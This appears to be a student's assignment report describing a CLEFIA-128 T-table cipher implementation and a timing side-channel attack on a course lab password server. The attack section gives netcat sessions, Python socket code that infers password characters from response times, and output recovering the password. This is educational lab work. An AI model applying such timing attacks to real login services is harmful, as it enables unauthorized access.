Assignment 1 SPM 2022 Report

Prasanna Bartakke EE19B106

August 15, 2022

Question 1

1. CLEFIA-128

The cipher implementation is present in the q1 folder. The clefia.c file contains the main code for encryption and decryption. The utils required for encryption and decryption are present in the utils.c file. The T-tables are included in the t_box.c file and the required constants are present in the constants.h file. The makefile is also included in the same folder. To compile the code, run the following command from the q1 folder.

```
make -f Makefile.mk
```

Use the following command for running the code:

```
./clefia x
```

where x can be e or d, e for encryption and d for decryption. The text to be encrypted can be entered in the main function inside the clefia.c file. The default plain text and the expected cypher text is taken from the clefia paper.

2. Implementation details

The CLEFIA algorithm consists of two parts: a data processing part and a key scheduling part. The data processing part of CLEFIA consists of functions encrypt for encryption and decrypt for decryption. The encryption/decryption process is as follows:

1. Key scheduling step.
2. Encrypting/decrypting each block of data using encrypt/decrypt.

The F0 and F1 functions are converted to look ups and xors by using the T-table implementation. Let (x0, x1, x2, x3) be the input to F0 and (y0, y1, y2, y3) be the output of F0. Similarly, (x4, x5, x6, x7) and (y4, y5, y6, y7) be the input and output of the F1 function. The relationship between the input and output can be described as follows:

F0

$$\begin{pmatrix} y0 \\ y1 \\ y2 \\ y3 \end{pmatrix} = \begin{pmatrix} 01 & 02 & 04 & 06 \\ 02 & 01 & 06 & 04 \\ 04 & 06 & 01 & 02 \\ 06 & 04 & 02 & 01 \end{pmatrix} \begin{pmatrix} S0(x0) \\ S1(x1) \\ S0(x2) \\ S1(x3) \end{pmatrix}$$

F1

$$\begin{pmatrix} y4 \\ y5 \\ y6 \\ y7 \end{pmatrix} = \begin{pmatrix} 01 & 08 & 02 & 0A \\ 08 & 01 & 0A & 02 \\ 02 & 0A & 01 & 08 \\ 0A & 02 & 08 & 01 \end{pmatrix} \begin{pmatrix} S0(x4) \\ S1(x5) \\ S0(x6) \\ S1(x7) \end{pmatrix}$$

where S0 and S1 are the S-boxes.

We can use 4 look up tables for implementing F0 and F1. These tables have an 8-bit input and a 32-bit output. The number of entries in one table will be $2^8 = 256$. This implementation requires the following 8 tables:

```
T0_F0(x) = ({06} x S0(x), {04} x S0(x), {02} x S0(x), {01} x S0(x))
T1_F0(x) = ({04} x S1(x), {06} x S1(x), {01} x S1(x), {02} x S1(x))
T2_F0(x) = ({02} x S0(x), {01} x S0(x), {06} x S0(x), {04} x S0(x))
T3_F0(x) = ({01} x S1(x), {02} x S1(x), {04} x S1(x), {06} x S1(x))

T0_F1(x) = ({0A} x S0(x), {02} x S0(x), {08} x S0(x), {01} x S0(x))
T1_F1(x) = ({02} x S1(x), {0A} x S1(x), {01} x S1(x), {08} x S1(x))
T2_F1(x) = ({08} x S0(x), {01} x S0(x), {0A} x S0(x), {02} x S0(x))
T3_F1(x) = ({01} x S1(x), {08} x S1(x), {02} x S1(x), {0A} x S1(x))
```

Now, the outputs of the F functions can be computed as follows:

$$(y3, y2, y1, y0) = T0\_F0(x0) \oplus T1\_F0(x1) \oplus T2\_F0(x2) \oplus T3\_F0(x3)$$

$$(y7, y6, y5, y4) = T0\_F1(x4) \oplus T1\_F1(x5) \oplus T2\_F1(x6) \oplus T3\_F1(x7)$$

The tables are stored in the file t_box.c. Rest of the functions are implemented in the same way as mentioned here.

Question 2

a

The stored password is spm{fastandfurious}.

```
prasanna@PrasLaptop:~/IIT/Sem 7$ nc 10.21.235.179 5555
Enter the password:
spm{fastandfurious}
Access Granted
Time taken to verify =  19.020076824999705
```

b

Following is a list of passwords which have the same hash as the stored password:

`spm{fastandfurious}a, spm{fastandfurious}b, spm{fastandfurious}c, spm{fastandfurious}d, spm{fastandfurious}e.`

Any string having the prefix spm{fastandfurious} will have the same hash as the stored password.

```
prasanna@PrasLaptop:~/IIT/Sem 7$ nc 10.21.235.179 5555
Enter the password:
spm{fastandfurious}
Access Granted
Time taken to verify =  19.020076824999705
^C
prasanna@PrasLaptop:~/IIT/Sem 7$ nc 10.21.235.179 5555
Enter the password:
spm{fastandfurious}a
Access Granted
Time taken to verify =  19.01925548700092
^C
prasanna@PrasLaptop:~/IIT/Sem 7$ nc 10.21.235.179 5555
Enter the password:
spm{fastandfurious}b
Access Granted
Time taken to verify =  19.0199236749977
^C
prasanna@PrasLaptop:~/IIT/Sem 7$ nc 10.21.235.179 5555
Enter the password:
spm{fastandfurious}c
Access Granted
Time taken to verify =  19.02054467400012
^C
prasanna@PrasLaptop:~/IIT/Sem 7$ nc 10.21.235.179 5555
Enter the password:
spm{fastandfurious}d
Access Granted
Time taken to verify =  19.019747460999497
^C
prasanna@PrasLaptop:~/IIT/Sem 7$ nc 10.21.235.179 5555
Enter the password:
spm{fastandfurious}e
Access Granted
Time taken to verify =  19.020446190002986
prasanna@PrasLaptop:~/IIT/Sem 7$
```

c

I assumed that the length of the correct password is 19. Initially, all the elements in the password are set to '='.
The ith position in the hash of the password corresponds to the element at the (7i + 4)%19 th index in the password. Now we try to find the password one element at a time.

```
def password_checker(password):
```

```
        hash = compute_hash(password)
        for i in range(len(flag)):
                time.sleep(1)
                if(flag_hash[i]!=hash[i]):
                        return False
    return True
```

We can see from the password checker function that we iterate on the indices of the hash of the passwords. As soon as an element of the hash of the input password does not match with the hash of the correct password, we return False. Thus, the longer the prefix of the hash of the input password matches with the prefix of the hash of the correct password, the longer it would take for the program to evaluate if the input password is correct.

Thus we can iterate from 0 to 19 and try all possible characters at the corresponding position in the password. We can check the execution time it takes to check if the password is correct. If we are trying to check at the ith position and if the execution time is greater than (i + 1) seconds, the guess at the ith character was correct. We can build the password one element at a time by this method.

```
def netcat(host, port, content, hash_pos):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, int(port)))
        s.sendall(content.encode())
        s.shutdown(socket.SHUT_WR)
        while True:
                data = s.recv(4096)
                if not data:
                        break
                data = data.decode('UTF-8')
                if "=" in data and \
        math.floor(float(data.strip().split("=")[1])) > hash_pos + 1:
                        s.close()
                        return True
        s.close()
        return False
```

The netcat function takes the current guessed password and returns true if the guessed letter is correct depending of the exexcution time returned by the server.

The above function will not work for the last index in the hash of the password, as the time taken will be the same for all elements. The following function is used for checking if the last guess is correct.

```
def netcat_last(host, port, content):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
```

```
        s.connect((host, int(port)))
        s.sendall(content.encode())
        s.shutdown(socket.SHUT_WR)
        while True:
                data = s.recv(4096)
                if not data:
                        break
                data = data.decode('UTF-8')
                if data.startswith("Access Granted"):
                        s.close()
                        return True
        s.close()
        return False
```

The entire code for this question if present in the file timing_attack.py in the q2 folder. Following is the output of the program timing_attack.py, which shows how the stored password was got one element at a time.

```
prasanna@PrasLaptop:CS6630/Assignments/1/q2$ python3 timing_attack.py
[FOUND]  f ====f==============
[FOUND]  f ====f======f=======
[FOUND]  } ====f======f======}
[FOUND]  s ====f=s====f======}
[FOUND]  r ====f=s====f=r====}
[FOUND]  p =p==f=s====f=r====}
[FOUND]  a =p==f=s=a==f=r====}
[FOUND]  o =p==f=s=a==f=r=o==}
[FOUND]  { =p={f=s=a==f=r=o==}
[FOUND]  d =p={f=s=a=df=r=o==}
[FOUND]  s =p={f=s=a=df=r=o=s}
[FOUND]  a =p={fas=a=df=r=o=s}
[FOUND]  u =p={fas=a=dfur=o=s}
[FOUND]  s sp={fas=a=dfur=o=s}
[FOUND]  t sp={fasta=dfur=o=s}
[FOUND]  i sp={fasta=dfurio=s}
[FOUND]  m spm{fasta=dfurio=s}
[FOUND]  n spm{fastandfurio=s}
[FOUND] u The password is : spm{fastandfurious}
```